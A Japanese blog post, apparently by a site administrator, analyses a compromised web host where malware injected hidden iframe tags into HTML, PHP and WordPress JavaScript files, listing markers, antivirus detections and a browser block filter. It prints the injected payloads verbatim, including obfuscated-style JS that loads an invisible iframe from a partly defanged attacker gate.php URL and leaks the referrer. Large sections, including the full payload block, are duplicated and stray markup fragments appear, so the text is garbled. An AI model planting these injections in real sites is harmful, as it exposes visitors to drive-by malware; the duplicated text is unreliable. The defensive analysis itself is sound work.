Google検索から「マルウェアに感染してるかも！」という告知メールから始まった本件、調べてみると海外では年明けから報告されているようです。
国内でも「株式会社アバンテージ」様が「メモ(bigdeal777)」という形で情報を残されていました。
攻撃サイトはすでに閉鎖されており検体も入手出来なかったのですが、今後国内でも流行する恐れがある為、記事にすることにしました。
]]>
まず、改ざんされていたアカウントにアクセスしてみると、「httpdocs」と「httpsdocs」が同時に更新されたことになっています。
本来は使用しない「httpsdocs」が更新されているのと、別々のディレクトリが同時に更新されているのを見ると、明らかに人の手じゃ無いですね。
では、「httpdocs」内の別ディレクトリを見てみましょう。
HTMLとPHPが同時に更新されており、パーミッションも777と本来なら設定する必要がないものになってます。
CSSやTXTに手を付けてないところを見ると、書き換えを行ったのはスクリプトっぽいですね。
せっかくなので、改ざんされたファイルを見てみましょう。
まずはHTMLから。
CSSやTXTに手を付けてないところを見ると、書き換えを行ったのはスクリプトっぽいですね。
せっかくなので、改ざんされたファイルを見てみましょう。
まずはHTMLから。
おやおや、HTML内に変なタグが増えてますね。
では、PHPではどうでしょう。
まずは、上記HTMLと一緒にあったdb.php。
PHPの終わり際、タグが足されてもおかしくない位置に追加されてます。
次はWordpressのwp-login.php。
では、PHPではどうでしょう。
まずは、上記HTMLと一緒にあったdb.php。
PHPの終わり際、タグが足されてもおかしくない位置に追加されてます。
次はWordpressのwp-login.php。
これにも同様のタグが。
最後にJSファイルも見ておきましょう。
wordpressのwp-admin/js内にあったtheme.js。
最後にJSファイルも見ておきましょう。
wordpressのwp-admin/js内にあったtheme.js。
すごく分かりづらい位置にありますが、本来のJSと同じかそれ以上の構文を使ってます。
改行が無いので非常に見にくく、その中でも見やすいJSを選んできました。
今回見つかったマルウェアでの改ざん、纏めると以下のような感じです。
------------------------------------------------------------
1.サーバ内にあるHTML/PHP/JSを書き換える。
それ以外のファイルについては手を付けない。
2.HTMLとJSについては無差別に書き換える(全て書き換える)が、PHPについては条件がある模様。
ファイル名で対象を識別しているようで、「app/link/login/test」等のアクセスされそうなファイル名を選んでいる？(要検証)
「</body>」があるPHPが対象となっている感じ。(検証途中)
「</body>」が複数あるPHPだと、タグも複数追加されていた。(検証途中)
3.以前のGumbler系とは違い、追加されたタグは難読化されていない。
「<!--qpi--><!--/qpi-->(HTML/PHP)」や「/*qpi*//*qpi*/(JS)」で囲まれており、比較的判別はしやすい。
4.書き換えは複数のファイルを一括で行っている。
ただし、複数回に分けて改ざんしている可能性も有り。(問題のアカウントでは「4/14」と「4/20」に改ざんされており、一括で処理出来る範囲は決まっているのかも)
5.追加されたタグは、HTMLとJSでは最下位に、PHPでは「</body>」の上に追加されている。
------------------------------------------------------------
では、改ざんされたファイルをVirusTotalで検索してみると、以下のような感じで検知されました。
------------------------------------------------------------
BitDefender：Trojan.Iframe.ANU
Commtouch： IFrame.gen
Comodo：TrojWare.JS.Iframe.SC
F-Prot：IFrame.gen
F-Secure：Trojan.Iframe.ANU
GData：Trojan.Iframe.ANU
Kaspersky：HEUR:Trojan.Script.Iframer
NOD32：JS/Iframe.CV
Sophos：Troj/Iframe-HP
それ以外：検知されず
------------------------------------------------------------
現状、検知された理由は「不自然なタグがある」というだけのようですので、有名どころが検知出来てないのは仕方ないのかもしれません。
管理人はFirefoxに「Adblock Plus」というアドオンを追加しており、現状の対策として「gate.php?f=*」をブロックフィルタに追加しています。
同様のマルウェアがこのURLを使用している為、簡易的な自衛手段としては使えるかと。
続きがあれば、また報告させて頂きます。
最後に、追加されていたタグを記載しておきます。
・HTMLファイル
------------------------------------------------------------
<!--qpi--><style>div.pofasdfhg{z-index:-1;position:absolute;left:0;top:0;opacity:0.0;filter:alpha(opacity=0);-moz-opacity:0;}</style><div class=pofasdfhg><iframe src=http://analitics3.ＩＮ/gate.php?f=971008 frameborder=0 marginheight=0 marginwidth=0 scrolling=0 width=5 height=5 border=0></iframe></div><!--/qpi-->
------------------------------------------------------------
・PHPファイル
------------------------------------------------------------
<!--qpi--><style>div.pofasdfhg{z-index:-1;position:absolute;left:0;top:0;opacity:0.0;filter:alpha(opacity=0);-moz-opacity:0;}</style><div class=pofasdfhg><iframe src=http://analitics3.ＩＮ/gate.php?f=971008 frameborder=0 marginheight=0 marginwidth=0 scrolling=0 width=5 height=5 border=0></iframe></div><!--/qpi-->
------------------------------------------------------------
・JSファイル
------------------------------------------------------------
/*qpi*/function g(){var r=new RegExp('(?:; )?1=([^;]*);?');return r.test(document.cookie)?true:false}var e=new Date();e.setTime(e.getTime()+(2592000000));if(!g()&&window.navigator.cookieEnabled){window.setTimeout(function(){if(!document.getElementById('pofasdfhg')){var ddpopka=document.createElement('div');ddpopka.style='z-index:-1;position:absolute;left:0;top:0;opacity:0.0;filter:alpha(opacity=0);-moz-opacity:0;';ddpopka.style.zIndex='-1';ddpopka.style.position='absolute';ddpopka.style.left='0';ddpopka.style.top='0';ddpopka.style.opacity='0';ddpopka.style.MozOpacity='0';ddpopka.style.filter='alpha(opacity=0)';ddpopka.id='pofasdfhg';var JSinj=document.createElement('iframe');JSinj.src='http://analitics3.ＩＮ/gate.php?f=971008&r='+escape(document.referrer||'');JSinj.width='0';JSinj.height='0';JSinj.frameborder='0';JSinj.marginheight='0';JSinj.marginwidth='0';try{document.body.appendChild(ddpopka);ddpopka.appendChild(JSinj)}catch(e){document.documentElement.appendChild(ddpopka);ddpopka.appendChild(JSinj)}}},1000)}/*qpi*/
------------------------------------------------------------
#攻撃サイトは現在アクセス出来ませんが、念のためドメインの一部を可変しています。
]]>
改行が無いので非常に見にくく、その中でも見やすいJSを選んできました。
今回見つかったマルウェアでの改ざん、纏めると以下のような感じです。
------------------------------------------------------------
1.サーバ内にあるHTML/PHP/JSを書き換える。
それ以外のファイルについては手を付けない。
2.HTMLとJSについては無差別に書き換える(全て書き換える)が、PHPについては条件がある模様。
「</body>」があるPHPが対象となっている感じ。(検証途中)
「</body>」が複数あるPHPだと、タグも複数追加されていた。(検証途中)
3.以前のGumbler系とは違い、追加されたタグは難読化されていない。
「<!--qpi--><!--/qpi-->(HTML/PHP)」や「/*qpi*//*qpi*/(JS)」で囲まれており、比較的判別はしやすい。
4.書き換えは複数のファイルを一括で行っている。
ただし、複数回に分けて改ざんしている可能性も有り。(問題のアカウントでは「4/14」と「4/20」に改ざんされており、一括で処理出来る範囲は決まっているのかも)
5.追加されたタグは、HTMLとJSでは最下位に、PHPでは「</body>」の上に追加されている。
------------------------------------------------------------
では、改ざんされたファイルをVirusTotalで検索してみると、以下のような感じで検知されました。
------------------------------------------------------------
BitDefender：Trojan.Iframe.ANU
Commtouch： IFrame.gen
Comodo：TrojWare.JS.Iframe.SC
F-Prot：IFrame.gen
F-Secure：Trojan.Iframe.ANU
GData：Trojan.Iframe.ANU
Kaspersky：HEUR:Trojan.Script.Iframer
NOD32：JS/Iframe.CV
Sophos：Troj/Iframe-HP
それ以外：検知されず
------------------------------------------------------------
現状、検知された理由は「不自然なタグがある」というだけのようですので、有名どころが検知出来てないのは仕方ないのかもしれません。
管理人はFirefoxに「Adblock Plus」というアドオンを追加しており、現状の対策として「gate.php?f=*」をブロックフィルタに追加しています。
同様のマルウェアがこのURLを使用している為、簡易的な自衛手段としては使えるかと。
続きがあれば、また報告させて頂きます。
最後に、追加されていたタグを記載しておきます。
・HTMLファイル
------------------------------------------------------------
<!--qpi--><style>div.pofasdfhg{z-index:-1;position:absolute;left:0;top:0;opacity:0.0;filter:alpha(opacity=0);-moz-opacity:0;}</style><div class=pofasdfhg><iframe src=http://analitics3.ＩＮ/gate.php?f=971008 frameborder=0 marginheight=0 marginwidth=0 scrolling=0 width=5 height=5 border=0></iframe></div><!--/qpi-->
------------------------------------------------------------
・PHPファイル
------------------------------------------------------------
<!--qpi--><style>div.pofasdfhg{z-index:-1;position:absolute;left:0;top:0;opacity:0.0;filter:alpha(opacity=0);-moz-opacity:0;}</style><div class=pofasdfhg><iframe src=http://analitics3.ＩＮ/gate.php?f=971008 frameborder=0 marginheight=0 marginwidth=0 scrolling=0 width=5 height=5 border=0></iframe></div><!--/qpi-->
------------------------------------------------------------
・JSファイル
------------------------------------------------------------
/*qpi*/function g(){var r=new RegExp('(?:; )?1=([^;]*);?');return r.test(document.cookie)?true:false}var e=new Date();e.setTime(e.getTime()+(2592000000));if(!g()&&window.navigator.cookieEnabled){window.setTimeout(function(){if(!document.getElementById('pofasdfhg')){var ddpopka=document.createElement('div');ddpopka.style='z-index:-1;position:absolute;left:0;top:0;opacity:0.0;filter:alpha(opacity=0);-moz-opacity:0;';ddpopka.style.zIndex='-1';ddpopka.style.position='absolute';ddpopka.style.left='0';ddpopka.style.top='0';ddpopka.style.opacity='0';ddpopka.style.MozOpacity='0';ddpopka.style.filter='alpha(opacity=0)';ddpopka.id='pofasdfhg';var JSinj=document.createElement('iframe');JSinj.src='http://analitics3.ＩＮ/gate.php?f=971008&r='+escape(document.referrer||'');JSinj.width='0';JSinj.height='0';JSinj.frameborder='0';JSinj.marginheight='0';JSinj.marginwidth='0';try{document.body.appendChild(ddpopka);ddpopka.appendChild(JSinj)}catch(e){document.documentElement.appendChild(ddpopka);ddpopka.appendChild(JSinj)}}},1000)}/*qpi*/
------------------------------------------------------------
#攻撃サイトは現在アクセス出来ませんが、念のためドメインの一部を可変しています。